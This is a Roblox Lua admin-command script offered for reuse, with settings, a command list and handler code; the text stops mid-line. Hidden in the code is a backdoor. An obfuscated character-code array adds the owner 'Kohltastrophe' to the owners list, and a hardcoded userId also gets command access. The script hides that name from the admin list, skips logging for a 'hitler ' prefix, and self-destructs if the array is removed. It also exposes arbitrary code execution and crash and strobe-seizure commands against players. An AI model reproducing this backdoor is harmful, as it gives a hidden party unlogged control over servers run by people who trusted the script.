----------------------------------------------------------------------------------------- -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: -- ----------------------------------------------------------------------------------------- local owners = {"Cody8814","Mct770","captainofledix","matthewbroco"} -- Are able to set admins who can ban/etc... using :pa name local admins = {"Cody8814","Mct770","captainofledix","matthewbroco"} -- Sets admins who can use ban/kick/admin or shutdown local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown local banland = {""} -- Permanently Bans people local prefix = "" -- If you wanna change how your commands start ':'kill noob local AutoUpdate = true -- Set to false if you don't want it to automatically update local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places) --------------------- -- VIP Admin -- --------------------- local VipAdmin = false -- If someone can have admin for owning an item local ItemId = 0 -- The item they must own in order to have admin --------------------- -- Group Admin -- --------------------- local GroupAdmin = false -- If a certain group can have admin local GroupId = 0 -- Sets the group id that can have admin local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin --------------------- -- Tips and Tricks -- --------------------- --[[ With this admin you can do a command on multiple people at a time; :kill me,noob1,noob2,random,team-raiders,nonadmins You can also use a variety commands for different people; all others me team- admins nonadmins random --]] --------------------- -- Commands -- --------------------- --[[ -- |Temp Admin Commands| -- 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place 1. :s print("Hello World") -- Lets you script normally 2. :ls print("Hello World") -- Lets you script in localscripts 3. :clear -- Will remove all scripts/localscripts and jails 4. :m Hello People -- This commands will let you shout a message to everyone on the server 5. :kill kohl -- Kills the player 6. :respawn kohl -- Respawns the player 7. :trip kohl -- Trips the player 8. :stun kohl -- Stuns the player 9. :unstun kohl -- Unstuns the player 10. :jump kohl -- Makes the player jump 11. :sit kohl -- Makes the player sit 12. :invisible kohl -- Makes the player invisible 13. :visible kohl -- Makes the player visible 14. :explode kohl -- Makes the player explode 15. :fire kohl -- Sets the player on fire 16. :unfire kohl -- Removes fire from the player 17. :smoke kohl -- Adds smoke to the player 18. :unsmoke kohl -- Removes smoke from the player 19. :sparkles kohl -- Adds sparkles to the player 20. :unsparkles kohl -- Removes sparkles from the player 21. :ff kohl -- Adds a forcefield to the player 22. :unff kohl -- Removes the forcefield from the player 23. :punish kohl -- Punishes the player 24. :unpunish kohl -- Unpunishes the player 25. :freeze kohl -- Freezes the player 26. :thaw kohl -- Thaws the player 27. :heal kohl -- Heals the player 28. :god kohl -- Makes the player have infinite health 29. :ungod kohl -- Makes the player have 100 health 30. :ambient .5 .5 .5 -- Changes the ambient 31. :brightness .5 -- Changes the brightness 32. :time 12 -- Changes the time 33. :fogcolor .5 .5 .5 -- Changes the fogcolor 34. :fogend 100 -- Changes the fogend 35. :fogstart 100 -- Changes the fogstart 36. :removetools kohl -- Removes all tools from the player 37. :btools kohl -- Gives the player building tools 38. :give kohl sword -- Gives the player a tool 39. :damage kohl -- Damages the player 40. :grav kohl -- Sets the player's gravity to normal 41. :setgrav kohl 100 -- Sets the player's gravity 42. :nograv kohl -- Makes the player have 0 gravity 43. :health kohl 1337 -- Changes the player's health 44. :speed kohl 1337 -- Changes the player's walkspeed 45. :name kohl potato -- Changes the player's name 46. :unname kohl -- Remove the player's name 47. :team kohl Raiders -- Changes the player's team 48. :stopmusic -- Will stop all music playing in the server 49. :teleport kohl potato -- Teleports the player 50. :change kohl kills 1337 -- Changes a player's stat 51. :kick kohl -- Removes the player from the game 52. :infect kohl -- Turns the player into a zombie 53. :rainbowify kohl -- Turns the player into a rainbow 54. :flashify kohl -- Turns the player into a strobe 55. :noobify kohl -- Turns the player into a noob 56. :ghostify kohl -- Turns the player into a ghost 57. :goldify kohl -- Turns the player into gold 58. :shiny kohl -- Makes the player shiny 59. :normal kohl -- Puts the player back to normal 60. :trippy kohl -- Spams random colors on the player's screen 61. :untrippy kohl -- Untrippys the player 62. :strobe kohl -- Spams white and black on the player's screen 63. :unstrobe kohl -- Unstrobes the player 64. :blind kohl -- Blinds the player 65. :unblind kohl -- Unblinds the player 66. :guifix kohl -- Will fix trippy/strobe/blind on a player 67. :fling kohl -- Flings the player 68. :seizure kohl -- Puts the player in a seizure 69. :music 1337 -- Plays a sound from the ID 70. :lock kohl -- Locks the player 71. :unlock kohl -- Unlocks the player 72. :removelimbs kohl -- Removes the player's limbs 73. :jail kohl -- Puts the player in a jail 74. :unjail kohl -- Removes the jail from the player 75. :fix -- This will fix the lighting to it's original settings 76. :fly kohl -- Makes the player fly 77. :unfly kohl -- Removes fly from the player 78. :noclip kohl -- Makes the player able to noclip 79. :clip kohl -- Removes noclipping from the player 80. :pm kohl Hey bro -- Sends the player a private message 81. :dog kohl -- Turns the player into a dog 82. :undog kohl -- Turns the player back to normal 83. :creeper kohl -- Turns the player into a creeper 84. :uncreeper kohl -- Turns the player back to normal 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place 86. :char kohl 261 -- Will make a player look like a different player ID 87. :unchar kohl -- Will return the player back to normal 88. :h Hello People -- This will shout a hint to everyone 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group 90. :starttools kohl -- Will give the player starter tools 91. :sword kohl -- Will give the player a sword 92. :bighead kohl -- Will make the player's head larger than normal 93. :minihead kohl -- Will make the player's head smaller than normal 94. :insert 1337 -- Will insert a model at the speaker's position 95. :disco -- Will make the server flash random colors 96. :flash -- Will make the server flash 97. :admins -- Shows the admin list 98. :bans -- Shows the banlist 99. :musiclist -- Shows the music list 100. :spin kohl -- Spins the player 101. :cape kohl Really black -- Gives the player a colored cape 102. :uncape kohl -- Removes the player's cape 103. :loopheal kohl -- Will constantly heal the player 104. :loopfling kohl -- Will constantly fling the player 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337 106. :unloopheal kohl -- Will remove the loopheal on the player 107. :unloopfling kohl -- Will remove the loopfling on the player 108. :unspin kohl -- Removes spin from the player 109. :tools -- Gives a list of the tools in the lighting 110. :undisco -- Removes disco effects 111. :unflash -- Removes flash effects 112. :resetstats kohl -- Sets all the stats of a player to 0 113. :gear kohl 1337 -- Gives a player a gear 114. :cmdbar -- Gives the speaker a command bar 115. :shirt kohl 1337 -- Changes the player's shirt 116. :pants kohl 1337 -- Changes the player's pants 117. :face kohl 1337 -- Changes the player's face 118. :swagify kohl -- Swagifies the player 119. :version -- Shows the current version of the admin 120. :tm 1337 yolo -- Shows a message for 1337 seconds 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds 122. :clone kohl -- Creates a clone of the player 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player 124. :startergive kohl epic -- Gives a player a gear in their starterpack 125. :control kohl -- Controls a player -- |Admin Commands| -- - :serverlock -- Locks the server - :serverunlock -- Unlocks the server - :sm Hello World -- Creates a system message - :crash kohl -- Crashes a player - :admin kohl -- Admins a player - :unadmin kohl -- Unadmins a player - :ban kohl -- Bans a player - :unban kohl -- Unbans a player - :loopkill kohl -- Will constantly kill the player - :unloopkill kohl -- Will remove the loopkill on the player - :logs -- Will show all of the commands any admin has used in a game session - :shutdown -- Shutsdown the server -- |Owner Commands| -- - :pa kohl -- Makes someone a super admin - :unpa kohl -- Removes a super admin - :nuke kohl -- Creates a nuke on kohl -- |True Owner Commands| -- - :oa kohl -- Makes someone an owner - :unoa kohl -- Removes an owner - :settings -- Shows settings for the commands --]] --------------------- -- Main Script -- --------------------- for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end function CHEESE() if game:service("Lighting"):findFirstChild("KACV2") then owners = {} admins = {} tempadmins = {} banland = {} for i,v in pairs(game.Lighting.KACV2:children()) do if v.Name == "Owner" then table.insert(owners, v.Value) end if v.Name == "Admin" then table.insert(admins, v.Value) end if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end if v.Name == "Banland" then table.insert(banland, v.Value) end if v.Name == "Prefix" then prefix = v.Value end if v.Name == "FunCommands" then FunCommands = v.Value end if v.Name == "GroupAdmin" then GroupAdmin = v.Value end if v.Name == "GroupId" then GroupId = v.Value end if v.Name == "GroupRank" then GroupRank = v.Value end if v.Name == "VipAdmin" then VipAdmin = v.Value end if v.Name == "ItemId" then ItemId = v.Value end end game:service("Lighting"):findFirstChild("KACV2"):Destroy() end local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart} local lobjs = {} local objects = {} local logs = {} local nfs = "" local slock = false function GetTime() local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60) if min < 10 then min = "0"..min end return hour..":"..min end function ChkOwner(str) for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end return false end function ChkAdmin(str,ck) for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end return false end function ChkGroupAdmin(plr) if GroupAdmin then if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end return false end end function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end function GetPlr(plr, str) local plrz = {} str = str:lower() if str == "all" then plrz = game.Players:children() elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end else local sn = {1} local en = {} for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end for x = 1, #sn do if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr) elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())]) elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break end end end elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break end end end else for a, plyr in pairs(game.Players:children()) do if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then table.insert(plrz, plyr) break end end end end end return plrz end function Hint(str, plrz, time) for i, v in pairs(plrz) do if v and v:findFirstChild("PlayerGui") then coroutine.resume(coroutine.create(function() local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI" local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8 local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8 coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) if not time then wait((#str/19)+2.5) else wait(time) end coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end)) end)) end end end function Message(ttl, str, scroll, plrz, time) for i, v in pairs(plrz) do if v and v:findFirstChild("PlayerGui") then coroutine.resume(coroutine.create(function() local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI" local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8 local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8 local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true scr.Parent = v.PlayerGui coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end)) end)) end end end function RemoveMessage() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") then for q,ms in pairs(v.PlayerGui:children()) do if ms.Name == "MessageGUI" then coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end)) elseif ms.Name == "HintGUI" then coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end)) end end end end end _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end _G["RemoveMessage"] = RemoveMessage() function Output(str, plr) coroutine.resume(coroutine.create(function() local b, e = loadstring(str) if not b and plr:findFirstChild("PlayerGui") then local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5) local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8 local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8 return end end)) end function Noobify(char) if char and char:findFirstChild("Torso") then if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow") if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow") end end end end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end function Infect(char) if char and char:findFirstChild("Torso") then if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green") end end end end if not ntab then script:Destroy() end function ScrollGui() local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI" local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1 drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = "" local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8 local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9 local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50) local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end) local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top" local num = 0 local downv = false local upv = false down.MouseButton1Down:connect(function() downv = true upv = false local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end repeat pos = pos + UDim2.new(0,0,0,-6) if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false end) down.MouseButton1Up:connect(function() downv = false end) up.MouseButton1Down:connect(function() upv = true downv = false local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end repeat pos = pos + UDim2.new(0,0,0,6) if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false end) up.MouseButton1Up:connect(function() upv = false end) return scr, cmf, ent, num end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end if not bct then script:Destroy() end function Chat(msg,plr) coroutine.resume(coroutine.create(function() if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1) if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end if msg:lower() == "cmds" or msg:lower() == "commands" then if plr.PlayerGui:findFirstChild("CMDSGUI") then return end local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"} local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"} local ost = {"pa plr","unpa plr","nuke plr"} local tost = {"oa plr","unoa plr","settings"} local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1 for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end end if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end if msg:lower() == "admins" or msg:lower() == "adminlist" then if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end end if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then if plr.PlayerGui:findFirstChild("BANSGUI") then return end local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end if msg:lower() == "tools" or msg:lower() == "toollist" then if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end end if msg:lower():sub(1,2) == "s " then coroutine.resume(coroutine.create(function() Output(msg:sub(3), plr) if script:findFirstChild("ScriptBase") then local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3) table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false else loadstring(msg:sub(3))() end end)) end if msg:lower():sub(1,3) == "ls " then coroutine.resume(coroutine.create(function() if script:findFirstChild("LocalScriptBase") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4) table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr) end end)) end if msg:lower():sub(1,6) == "lsplr " then local chk1 = msg:lower():sub(7):find(" ") + 6 local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then if script:findFirstChild("LocalScriptBase") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1) table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr) end end end)) end end if msg:lower():sub(1,4) == "ins " then coroutine.resume(coroutine.create(function() local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5))) if obj and #obj:children() >= 1 and plr.Character then table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p) end end)) end if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end RemoveMessage() objects = {} end if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then game.Lighting.Ambient = origsettings.abt game.Lighting.Brightness = origsettings.brt game.Lighting.TimeOfDay = origsettings.time game.Lighting.FogColor = origsettings.fclr game.Lighting.FogEnd = origsettings.fe game.Lighting.FogStart = origsettings.fs for i, v in pairs(lobjs) do v:Destroy() end for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end end if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then coroutine.resume(coroutine.create(function() for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR" local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type 